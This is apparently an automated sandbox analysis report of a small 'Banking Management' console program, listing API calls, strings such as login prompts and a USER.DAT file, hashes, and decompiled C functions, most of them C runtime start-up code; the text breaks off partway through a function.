0x00ec25fb
0x00ec25fe
0x00ec2601
0x00ec2604
0x00ec2607
0x00ec260a
0x00ec260d
0x00ec2610
0x00ec2613
0x00ec2613
0x00ec2618
0x00ec2623
0x00ec2628
0x00ec262d
0x00ec263f
0x00ec2651
0x00ec2656
0x00ec2659
0x00ec265e
0x00ec2665
0x00ec266b
0x00ec266f
0x00ec267a
0x00ec2681
0x00ec2686
0x00ec268c
0x00000000
0x00000000
0x00ec2697
0x00ec269c
0x00ec26a1
0x00ec26a9
0x00ec26a9
0x00ec26ac
0x00ec26ae
0x00ec26ae
0x00ec26b4
0x00ec26b5
0x00ec26ba
0x00ec26bd
0x00ec26c1
0x00ec26e8
0x00ec26ed
0x00ec26f2
0x00ec26fe
0x00ec2707
0x00ec270c
0x00ec2711
0x00ec2719
0x00ec271d
0x00ec272b
0x00ec2730
0x00ec2733
0x00ec2735
0x00ec2737
0x00ec2740
0x00ec2745
0x00ec274a
0x00ec274f
0x00ec2755
0x00ec2755
0x00ec2758
0x00ec2758
0x00ec26c3
0x00ec26c7
0x00ec26cc
0x00ec26d1
0x00ec26d6
0x00ec26df
0x00ec26df
0x00ec275b
0x00ec275b
0x00ec2777
0x00ec277c
0x00ec2782
0x00ec2783
0x00ec279d
0x00ec27a2
0x00ec27a7
0x00ec27ac
0x00ec27b1
0x00ec27b6
0x00ec27bc
0x00ec27bd
0x00ec27c5
0x00ec27ca
0x00ec27cb
0x00ec27d3
0x00ec27dc
0x00ec27e1
0x00ec27f1

APIs

Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC20FF
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC213E
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC215F
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC216C
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC2188
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC2195
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC21C8

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC262D
_wscanf.LIBCMT ref: 00EC263F

Part of subcall function 00EC738B: _vwscanf.LIBCMT ref: 00EC739C

Part of subcall function 00EC6EF1: __fsopen.LIBCMT ref: 00EC6EFC

_swscanf.LIBCMT ref: 00EC2681

Part of subcall function 00EC7021: _vfscanf.LIBCMT ref: 00EC7035

_wprintf.LIBCMT ref: 00EC26D1
_wprintf.LIBCMT ref: 00EC26F2
_wprintf.LIBCMT ref: 00EC2711
_wprintf.LIBCMT ref: 00EC274A
_fprintf.LIBCMT ref: 00EC27BD
_wprintf.LIBCMT ref: 00EC27E6

Strings

%s %s %s, xrefs: 00EC2675
Confirm Password : , xrefs: 00EC270C
USER.DAT, xrefs: 00EC2790
USER.DAT, xrefs: 00EC264C
%s %s %s, xrefs: 00EC27B1
USER.DAT, xrefs: 00EC276A
Record ADDED successfully!, xrefs: 00EC27E1
Password : , xrefs: 00EC26ED
User Name : , xrefs: 00EC2628

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$__wstrtime$ConsoleCursorHandlePosition__fsopen_fprintf_swscanf_vfscanf_vwscanf_wscanf
String ID: %s %s %s$%s %s %s$Confirm Password : $Password : $Record ADDED successfully!$USER.DAT$USER.DAT$USER.DAT$User Name :
API String ID: 3917209068-3252730458
Opcode ID: 0ec059a1e1cc4c778672c75c8ebf58cff07cdb88a8c07e10f3bd6965b427e9f9
Instruction ID: 0404ab3aaa4a2d178deabed5ae56f03cc8fca397d64acae482a7d97b8f4c7d3a
Opcode Fuzzy Hash: 0ec059a1e1cc4c778672c75c8ebf58cff07cdb88a8c07e10f3bd6965b427e9f9
Instruction Fuzzy Hash: B45194B1E50348ABDB04EFE4DE43F9E76B49B15704F04603EF505B6381EAB29246C766

Uniqueness

Uniqueness Score: -1.00%

Function 00EC20E0, Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00EC20E0(void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _v8;
				void* __ebp;
				void* _t9;
				intOrPtr _t16;
				void* _t20;
				void* _t24;
				void* _t26;
				void* _t27;
				void* _t31;
				void* _t37;

				_t37 = __fp0;
				_t23 = __esi;
				_t22 = __edi;
				E00EC1380(__edi, __esi, __eflags, 0, 0, 0x50, 0x17);
				E00EC12B0(0x19, 1);
				_push("Banking Management //");
				E00EC715C(_t20, __edi, __esi, __eflags);
				E00EC12B0(5, 3);
				_t9 = E00EC8230(0xee2ee4, "Admin");
				_t26 = _t24 + 0xc;
				if(_t9 == 0) {
					 *0xee2240 = 1;
				}
				_t34 =  *0xee2240;
				if( *0xee2240 == 0) {
					_push(0xee2ee4);
					_push("Current User : %s");
					E00EC715C(_t20, _t22, _t23, __eflags);
					_t27 = _t26 + 8;
				} else {
					_push("Current User : Admin");
					E00EC715C(_t20, _t22, _t23, _t34);
					_t27 = _t26 + 4;
				}
				_push("\t\t\t\tDate : ");
				E00EC715C(_t20, _t22, _t23, _t34);
				E00EC834B(_t34, 0xee2f40);
				_push(0xee2f40);
				E00EC16A0(_t22, _t23, _t37);
				_push("h@/�");
				_push("%s");
				E00EC715C(_t20, _t22, _t23, _t34);
				E00EC834B(_t34, 0xee2f40);
				_t31 = _t27 + 0x14;
				_t16 = E00EC12B0(1, 5);
				_v8 = 0;
				while(1) {
					_t35 = _v8 - 0x4e;
					if(_v8 >= 0x4e) {
						break;
					}
					_push(0xc4);
					_push("%c");
					E00EC715C(_t20, _t22, _t23, _t35);
					_t31 = _t31 + 8;
					_t16 = _v8 + 1;
					_v8 = _t16;
				}
				return _t16;
			}

0x00ec20e0
0x00ec20e0
0x00ec20e0
0x00ec20ec
0x00ec20f5
0x00ec20fa
0x00ec20ff
0x00ec210b
0x00ec211a
0x00ec211f
0x00ec2124
0x00ec2126
0x00ec2126
0x00ec2130
0x00ec2137
0x00ec2148
0x00ec214d
0x00ec2152
0x00ec2157
0x00ec2139
0x00ec2139
0x00ec213e
0x00ec2143
0x00ec2143
0x00ec215a
0x00ec215f
0x00ec216c
0x00ec2174
0x00ec2179
0x00ec217e
0x00ec2183
0x00ec2188
0x00ec2195
0x00ec219a
0x00ec21a1
0x00ec21a6
0x00ec21b8
0x00ec21b8
0x00ec21bc
0x00000000
0x00000000
0x00ec21be
0x00ec21c3
0x00ec21c8
0x00ec21cd
0x00ec21b2
0x00ec21b5
0x00ec21b5
0x00ec21d5

APIs

Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC139D
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC13DB
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC13FC
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC1470
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC1493

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC20FF
_wprintf.LIBCMT ref: 00EC213E
_wprintf.LIBCMT ref: 00EC2152

Part of subcall function 00EC715C: __stbuf.LIBCMT ref: 00EC71A8
Part of subcall function 00EC715C: __output_s_l.LIBCMT ref: 00EC71C2
Part of subcall function 00EC715C: __ftbuf.LIBCMT ref: 00EC71D6

_wprintf.LIBCMT ref: 00EC215F
__wstrtime.LIBCMT ref: 00EC216C
_wprintf.LIBCMT ref: 00EC2188
__wstrtime.LIBCMT ref: 00EC2195
_wprintf.LIBCMT ref: 00EC21C8

Strings

Current User : %s, xrefs: 00EC214D
N, xrefs: 00EC21B8
Admin, xrefs: 00EC2110
h@/, xrefs: 00EC217E
Date : , xrefs: 00EC215A
Banking Management //, xrefs: 00EC20FA
Current User : Admin, xrefs: 00EC2139

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$__wstrtime$ConsoleCursorHandlePosition__ftbuf__output_s_l__stbuf
String ID: Date : $Admin$Banking Management //$Current User : %s$Current User : Admin$N$h@/
API String ID: 3817360410-3581706481
Opcode ID: 2cf4970f37cd93720ef03e64a19cf331e167aa140a44f73fa06d2d8a24f9a09b
Instruction ID: 363ad62e53a0505073357832837e2644c61111f395731f04908a9faf09ede411
Opcode Fuzzy Hash: 2cf4970f37cd93720ef03e64a19cf331e167aa140a44f73fa06d2d8a24f9a09b
Instruction Fuzzy Hash: 6E11C1B0FE5388BAE2187FD25F03F4930A84B11B05F08306DFB05382D2E9E36A5A5567

Uniqueness

Uniqueness Score: -1.00%

Function 00EC21E0, Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00EC21E0(void* __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v8;
				void* __ebp;
				void* _t28;
				intOrPtr _t31;
				void* _t34;
				void* _t35;
				void* _t36;

				_t33 = __esi;
				_t32 = __edi;
				E00EC1380(__edi, __esi, __eflags, 0, 0, 0x50, 0x17);
				E00EC12B0(0x1b, 4);
				_push("BANK MANAGEMENT //");
				E00EC715C(_t28, __edi, __esi, __eflags);
				_t35 = _t34 + 4;
				E00EC12B0(0x19, 5);
				_v8 = 0;
				while(1) {
					_t42 = _v8 - 0x1b;
					if(_v8 >= 0x1b) {
						break;
					}
					_push(0xc4);
					_push("%c");
					E00EC715C(_t28, _t32, _t33, _t42);
					_t35 = _t35 + 8;
					_v8 = _v8 + 1;
				}
				E00EC12B0(0x19, 8);
				_push("Designed and Programmed by:");
				E00EC715C(_t28, _t32, _t33, __eflags);
				_t36 = _t35 + 4;
				E00EC12B0(0x19, 9);
				_v8 = 0;
				while(1) {
					__eflags = _v8 - 0x1b;
					if(__eflags >= 0) {
						break;
					}
					_push(0xc4);
					_push("%c");
					E00EC715C(_t28, _t32, _t33, __eflags);
					_t36 = _t36 + 8;
					_t31 = _v8 + 1;
					__eflags = _t31;
					_v8 = _t31;
				}
				E00EC12B0(0x21, 0xb);
				_push("Ravi Agrawal");
				E00EC715C(_t28, _t32, _t33, __eflags);
				E00EC12B0(0x21, 0xd);
				_push("Sagar Sharma");
				E00EC715C(_t28, _t32, _t33, __eflags);
				E00EC12B0(0x21, 0xf);
				_push("Sawal Maskey");
				E00EC715C(_t28, _t32, _t33, __eflags);
				E00EC12B0(0x18, 0x14);
				_push("Press Any key to continue...");
				return E00EC715C(_t28, _t32, _t33, __eflags);
			}

0x00ec21e0
0x00ec21e0
0x00ec21ec
0x00ec21f5
0x00ec21fa
0x00ec21ff
0x00ec2204
0x00ec220b
0x00ec2210
0x00ec2222
0x00ec2222
0x00ec2226
0x00000000
0x00000000
0x00ec2228
0x00ec222d
0x00ec2232
0x00ec2237
0x00ec221f
0x00ec221f
0x00ec2240
0x00ec2245
0x00ec224a
0x00ec224f
0x00ec2256
0x00ec225b
0x00ec226d
0x00ec226d
0x00ec2271
0x00000000
0x00000000
0x00ec2273
0x00ec2278
0x00ec227d
0x00ec2282
0x00ec2267
0x00ec2267
0x00ec226a
0x00ec226a
0x00ec228b
0x00ec2290
0x00ec2295
0x00ec22a1
0x00ec22a6
0x00ec22ab
0x00ec22b7
0x00ec22bc
0x00ec22c1
0x00ec22cd
0x00ec22d2
0x00ec22e2

APIs

Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC139D
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC13DB
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC13FC
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC1470
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC1493

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC21FF
_wprintf.LIBCMT ref: 00EC2232

Part of subcall function 00EC715C: __stbuf.LIBCMT ref: 00EC71A8
Part of subcall function 00EC715C: __output_s_l.LIBCMT ref: 00EC71C2
Part of subcall function 00EC715C: __ftbuf.LIBCMT ref: 00EC71D6

_wprintf.LIBCMT ref: 00EC224A
_wprintf.LIBCMT ref: 00EC227D
_wprintf.LIBCMT ref: 00EC2295
_wprintf.LIBCMT ref: 00EC22AB
_wprintf.LIBCMT ref: 00EC22C1
_wprintf.LIBCMT ref: 00EC22D7

Strings

Press Any key to continue..., xrefs: 00EC22D2
Sagar Sharma, xrefs: 00EC22A6
Ravi Agrawal, xrefs: 00EC2290
Designed and Programmed by:, xrefs: 00EC2245
BANK MANAGEMENT //, xrefs: 00EC21FA
Sawal Maskey, xrefs: 00EC22BC

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$ConsoleCursorHandlePosition__ftbuf__output_s_l__stbuf
String ID: BANK MANAGEMENT //$Designed and Programmed by:$Press Any key to continue...$Ravi Agrawal$Sagar Sharma$Sawal Maskey
API String ID: 1778593935-2888666035
Opcode ID: 9c45cc3a3eda1cb842a3b51e12b8aba2a6a76a8ddb6ce710e3a8a83e776a6671
Instruction ID: 7f4768312d5f814cfd9b3361c6c5d2db080ce7f953e810a275d674caa14cea79
Opcode Fuzzy Hash: 9c45cc3a3eda1cb842a3b51e12b8aba2a6a76a8ddb6ce710e3a8a83e776a6671
Instruction Fuzzy Hash: C121AE70AA5304B6F618BBD05E03F8C71A45B12B04F04216EF746393D3E8F3660625AB

Uniqueness

Uniqueness Score: -1.00%

Function 00ECA5E2, Relevance: 16.7, APIs: 11, Instructions: 229
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00ECA5E2(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int _t81;
				void* _t86;
				long _t90;
				signed int _t94;
				signed int _t98;
				signed int _t99;
				signed char _t103;
				signed int _t105;
				intOrPtr _t106;
				intOrPtr* _t109;
				signed char _t111;
				long _t119;
				signed int _t130;
				signed int _t134;
				signed int _t135;
				signed int _t138;
				void** _t139;
				signed int _t141;
				void* _t142;
				signed int _t143;
				void** _t147;
				signed int _t149;
				void* _t150;
				signed int _t154;
				void* _t155;
				void* _t160;

				_push(0x64);
				_push(0xedd8c0);
				E00EC9160(__ebx, __edi, __esi);
				E00ECBE5F(0xb);
				_t130 = 0;
				 *(_t155 - 4) = 0;
				_t160 =  *0xee2f60 - _t130; // 0x0
				if(_t160 == 0) {
					_push(0x40);
					_t141 = 0x20;
					_push(_t141);
					_t81 = E00ECC55B();
					_t134 = _t81;
					 *(_t155 - 0x24) = _t134;
					__eflags = _t134;
					if(_t134 != 0) {
						 *0xee2f60 = _t81;
						 *0xee2f5c = _t141;
						while(1) {
							__eflags = _t134 - _t81 + 0x800;
							if(_t134 >= _t81 + 0x800) {
								break;
							}
							 *((short*)(_t134 + 4)) = 0xa00;
							 *_t134 =  *_t134 | 0xffffffff;
							 *(_t134 + 8) = _t130;
							 *(_t134 + 0x24) =  *(_t134 + 0x24) & 0x00000080;
							 *(_t134 + 0x24) =  *(_t134 + 0x24) & 0x0000007f;
							 *((short*)(_t134 + 0x25)) = 0xa0a;
							 *(_t134 + 0x38) = _t130;
							 *(_t134 + 0x34) = _t130;
							_t134 = _t134 + 0x40;
							 *(_t155 - 0x24) = _t134;
							_t81 =  *0xee2f60; // 0x0
						}
						GetStartupInfoW(_t155 - 0x74);
						__eflags =  *((short*)(_t155 - 0x42));
						if( *((short*)(_t155 - 0x42)) == 0) {
							while(1) {
								L31:
								 *(_t155 - 0x2c) = _t130;
								__eflags = _t130 - 3;
								if(_t130 >= 3) {
									break;
								}
								_t147 = (_t130 << 6) +  *0xee2f60;
								 *(_t155 - 0x24) = _t147;
								__eflags =  *_t147 - 0xffffffff;
								if( *_t147 == 0xffffffff) {
									L35:
									_t147[1] = 0x81;
									__eflags = _t130;
									if(_t130 != 0) {
										_t66 = _t130 - 1; // -1
										asm("sbb eax, eax");
										_t90 =  ~_t66 + 0xfffffff5;
										__eflags = _t90;
									} else {
										_t90 = 0xfffffff6;
									}
									_t142 = GetStdHandle(_t90);
									__eflags = _t142 - 0xffffffff;
									if(_t142 == 0xffffffff) {
										L47:
										_t147[1] = _t147[1] | 0x00000040;
										 *_t147 = 0xfffffffe;
										_t94 =  *0xee3064;
										__eflags = _t94;
										if(_t94 != 0) {
											 *( *((intOrPtr*)(_t94 + _t130 * 4)) + 0x10) = 0xfffffffe;
										}
										goto L49;
									} else {
										__eflags = _t142;
										if(_t142 == 0) {
											goto L47;
										}
										_t98 = GetFileType(_t142);
										__eflags = _t98;
										if(_t98 == 0) {
											goto L47;
										}
										 *_t147 = _t142;
										_t99 = _t98 & 0x000000ff;
										__eflags = _t99 - 2;
										if(_t99 != 2) {
											__eflags = _t99 - 3;
											if(_t99 != 3) {
												L46:
												_t70 =  &(_t147[3]); // -15609684
												InitializeCriticalSectionAndSpinCount(_t70, 0xfa0);
												_t147[2] = _t147[2] + 1;
												L49:
												_t130 = _t130 + 1;
												continue;
											}
											_t103 = _t147[1] | 0x00000008;
											__eflags = _t103;
											L45:
											_t147[1] = _t103;
											goto L46;
										}
										_t103 = _t147[1] | 0x00000040;
										goto L45;
									}
								}
								__eflags =  *_t147 - 0xfffffffe;
								if( *_t147 == 0xfffffffe) {
									goto L35;
								}
								_t147[1] = _t147[1] | 0x00000080;
								goto L49;
							}
							 *(_t155 - 4) = 0xfffffffe;
							E00ECA8A6();
							L2:
							_t86 = 1;
							L3:
							return E00EC91A5(_t86);
						}
						_t105 =  *(_t155 - 0x40);
						__eflags = _t105;
						if(_t105 == 0) {
							goto L31;
						}
						_t135 =  *_t105;
						 *(_t155 - 0x1c) = _t135;
						_t106 = _t105 + 4;
						 *((intOrPtr*)(_t155 - 0x28)) = _t106;
						 *(_t155 - 0x20) = _t106 + _t135;
						__eflags = _t135 - 0x800;
						if(_t135 >= 0x800) {
							_t135 = 0x800;
							 *(_t155 - 0x1c) = 0x800;
						}
						_t149 = 1;
						__eflags = 1;
						 *(_t155 - 0x30) = 1;
						while(1) {
							__eflags =  *0xee2f5c - _t135; // 0x3
							if(__eflags >= 0) {
								break;
							}
							_t138 = E00ECC55B(_t141, 0x40);
							 *(_t155 - 0x24) = _t138;
							__eflags = _t138;
							if(_t138 != 0) {
								0xee2f60[_t149] = _t138;
								 *0xee2f5c =  *0xee2f5c + _t141;
								__eflags =  *0xee2f5c;
								while(1) {
									__eflags = _t138 - 0xee2f60[_t149] + 0x800;
									if(_t138 >= 0xee2f60[_t149] + 0x800) {
										break;
									}
									 *((short*)(_t138 + 4)) = 0xa00;
									 *_t138 =  *_t138 | 0xffffffff;
									 *(_t138 + 8) = _t130;
									 *(_t138 + 0x24) =  *(_t138 + 0x24) & 0x00000080;
									 *((short*)(_t138 + 0x25)) = 0xa0a;
									 *(_t138 + 0x38) = _t130;
									 *(_t138 + 0x34) = _t130;
									_t138 = _t138 + 0x40;
									 *(_t155 - 0x24) = _t138;
								}
								_t149 = _t149 + 1;
								 *(_t155 - 0x30) = _t149;
								_t135 =  *(_t155 - 0x1c);
								continue;
							}
							_t135 =  *0xee2f5c; // 0x3
							 *(_t155 - 0x1c) = _t135;
							break;
						}
						_t143 = _t130;
						 *(_t155 - 0x2c) = _t143;
						_t109 =  *((intOrPtr*)(_t155 - 0x28));
						_t139 =  *(_t155 - 0x20);
						while(1) {
							__eflags = _t143 - _t135;
							if(_t143 >= _t135) {
								goto L31;
							}
							_t150 =  *_t139;
							__eflags = _t150 - 0xffffffff;
							if(_t150 == 0xffffffff) {
								L26:
								_t143 = _t143 + 1;
								 *(_t155 - 0x2c) = _t143;
								_t109 =  *((intOrPtr*)(_t155 - 0x28)) + 1;
								 *((intOrPtr*)(_t155 - 0x28)) = _t109;
								_t139 =  &(_t139[1]);
								 *(_t155 - 0x20) = _t139;
								continue;
							}
							__eflags = _t150 - 0xfffffffe;
							if(_t150 == 0xfffffffe) {
								goto L26;
							}
							_t111 =  *_t109;
							__eflags = _t111 & 0x00000001;
							if((_t111 & 0x00000001) == 0) {
								goto L26;
							}
							__eflags = _t111 & 0x00000008;
							if((_t111 & 0x00000008) != 0) {
								L24:
								_t154 = ((_t143 & 0x0000001f) << 6) + 0xee2f60[_t143 >> 5];
								 *(_t155 - 0x24) = _t154;
								 *_t154 =  *_t139;
								 *((char*)(_t154 + 4)) =  *((intOrPtr*)( *((intOrPtr*)(_t155 - 0x28))));
								_t38 = _t154 + 0xc; // 0xd
								InitializeCriticalSectionAndSpinCount(_t38, 0xfa0);
								_t39 = _t154 + 8;
								 *_t39 =  *(_t154 + 8) + 1;
								__eflags =  *_t39;
								_t139 =  *(_t155 - 0x20);
								L25:
								_t135 =  *(_t155 - 0x1c);
								goto L26;
							}
							_t119 = GetFileType(_t150);
							_t139 =  *(_t155 - 0x20);
							__eflags = _t119;
							if(_t119 == 0) {
								goto L25;
							}
							goto L24;
						}
						goto L31;
					}
					E00EC96F0(_t155, 0xee1380, _t155 - 0x10, 0xfffffffe);
					_t86 = 0;
					goto L3;
				}
				E00EC96F0(_t155, 0xee1380, _t155 - 0x10, 0xfffffffe);
				goto L2;
			}

0x00eca5e2
0x00eca5e4
0x00eca5e9
0x00eca5f0
0x00eca5f6
0x00eca5f8
0x00eca5fb
0x00eca601
0x00eca621
0x00eca625
0x00eca626
0x00eca627
0x00eca62e
0x00eca630
0x00eca633
0x00eca635
0x00eca64e
0x00eca653
0x00eca659
0x00eca65e
0x00eca660
0x00000000
0x00000000
0x00eca662
0x00eca668
0x00eca66b
0x00eca66e
0x00eca677
0x00eca67a
0x00eca680
0x00eca683
0x00eca686
0x00eca689
0x00eca68c
0x00eca68c
0x00eca697
0x00eca69d
0x00eca6a2
0x00eca7d1
0x00eca7d1
0x00eca7d1
0x00eca7d4
0x00eca7d7
0x00000000
0x00000000
0x00eca7e2
0x00eca7e8
0x00eca7eb
0x00eca7ee
0x00eca803
0x00eca803
0x00eca807
0x00eca809
0x00eca810
0x00eca815
0x00eca817
0x00eca817
0x00eca80b
0x00eca80d
0x00eca80d
0x00eca821
0x00eca823
0x00eca826
0x00eca86d
0x00eca873
0x00eca876
0x00eca87c
0x00eca881
0x00eca883
0x00eca888
0x00eca888
0x00000000
0x00eca828
0x00eca828
0x00eca82a
0x00000000
0x00000000
0x00eca82d
0x00eca833
0x00eca835
0x00000000
0x00000000
0x00eca837
0x00eca839
0x00eca83e
0x00eca841
0x00eca84b
0x00eca84e
0x00eca859
0x00eca85e
0x00eca862
0x00eca868
0x00eca88f
0x00eca88f
0x00000000
0x00eca88f
0x00eca854
0x00eca854
0x00eca856
0x00eca856
0x00000000
0x00eca856
0x00eca847
0x00000000
0x00eca847
0x00eca826
0x00eca7f0
0x00eca7f3
0x00000000
0x00000000
0x00eca7fb
0x00000000
0x00eca7fb
0x00eca895
0x00eca89c
0x00eca616
0x00eca618
0x00eca619
0x00eca61e
0x00eca61e
0x00eca6a8
0x00eca6ab
0x00eca6ad
0x00000000
0x00000000
0x00eca6b3
0x00eca6b5
0x00eca6b8
0x00eca6bb
0x00eca6c0
0x00eca6c8
0x00eca6ca
0x00eca6cc
0x00eca6ce
0x00eca6ce
0x00eca6d3
0x00eca6d3
0x00eca6d4
0x00eca6d7
0x00eca6d7
0x00eca6dd
0x00000000
0x00000000
0x00eca6e9
0x00eca6eb
0x00eca6ee
0x00eca6f0
0x00eca784
0x00eca78b
0x00eca78b
0x00eca791
0x00eca79d
0x00eca79f
0x00000000
0x00000000
0x00eca7a1
0x00eca7a7
0x00eca7aa
0x00eca7ad
0x00eca7b1
0x00eca7b7
0x00eca7ba
0x00eca7bd
0x00eca7c0
0x00eca7c0
0x00eca7c5
0x00eca7c6
0x00eca7c9
0x00000000
0x00eca7c9
0x00eca6f6
0x00eca6fc
0x00000000
0x00eca6fc
0x00eca6ff
0x00eca701
0x00eca704
0x00eca707
0x00eca70a
0x00eca70a
0x00eca70c
0x00000000
0x00000000
0x00eca712
0x00eca714
0x00eca717
0x00eca771
0x00eca771
0x00eca772
0x00eca778
0x00eca779
0x00eca77c
0x00eca77f
0x00000000
0x00eca77f
0x00eca719
0x00eca71c
0x00000000
0x00000000
0x00eca71e
0x00eca720
0x00eca722
0x00000000
0x00000000
0x00eca724
0x00eca726
0x00eca736
0x00eca743
0x00eca74a
0x00eca74f
0x00eca756
0x00eca75e
0x00eca762
0x00eca768
0x00eca768
0x00eca768
0x00eca76b
0x00eca76e
0x00eca76e
0x00000000
0x00eca76e
0x00eca729
0x00eca72f
0x00eca732
0x00eca734
0x00000000
0x00000000
0x00000000
0x00eca734
0x00000000
0x00eca70a
0x00eca642
0x00eca64a
0x00000000
0x00eca64a
0x00eca60e
0x00000000

APIs

__lock.LIBCMT ref: 00ECA5F0

Part of subcall function 00ECBE5F: __mtinitlocknum.LIBCMT ref: 00ECBE71
Part of subcall function 00ECBE5F: EnterCriticalSection.KERNEL32(?,?,00ECD668,0000000D,?,?,?,?,00EDDA28,00000008,00ECD601,00000000,00000000,00EC8F04,00ED1E56,00000000), ref: 00ECBE8A

@_EH4_CallFilterFunc@8.LIBCMT ref: 00ECA60E
__calloc_crt.LIBCMT ref: 00ECA627
@_EH4_CallFilterFunc@8.LIBCMT ref: 00ECA642
GetStartupInfoW.KERNEL32(?,00EDD8C0,00000064), ref: 00ECA697
__calloc_crt.LIBCMT ref: 00ECA6E2
GetFileType.KERNEL32(00000001), ref: 00ECA729
InitializeCriticalSectionAndSpinCount.KERNEL32(0000000D,00000FA0), ref: 00ECA762
GetStdHandle.KERNEL32(-000000F6), ref: 00ECA81B
GetFileType.KERNEL32(00000000), ref: 00ECA82D
InitializeCriticalSectionAndSpinCount.KERNEL32(-00EE2F54,00000FA0), ref: 00ECA862

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$CallCountFileFilterFunc@8InitializeSpinType__calloc_crt$EnterHandleInfoStartup__lock__mtinitlocknum
String ID:
API String ID: 1456538442-0
Opcode ID: bc0e46f96283b105d0be6ddc9c7d85fae4242980b8f4f9eaaad1fe88579a615b
Instruction ID: cf657a0115e4d03e31fd2eb685d624d26acf91a4744f71acc540090f9112ccaf
Opcode Fuzzy Hash: bc0e46f96283b105d0be6ddc9c7d85fae4242980b8f4f9eaaad1fe88579a615b
Instruction Fuzzy Hash: CE9105719003498FDB14CF68D984AADBBF4FB05328B28526EE466BB2D1C7368807CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00EC8E23, Relevance: 13.6, APIs: 9, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC8E23(void* __eflags, signed int _a4) {
				void* _t12;
				signed int _t13;
				signed int _t16;
				intOrPtr _t18;
				void* _t22;
				signed int _t35;
				long _t40;

				_t13 = E00ECA5A7(_t12);
				if(_t13 >= 0) {
					_t35 = _a4;
					if(E00ED0132(_t35) == 0xffffffff) {
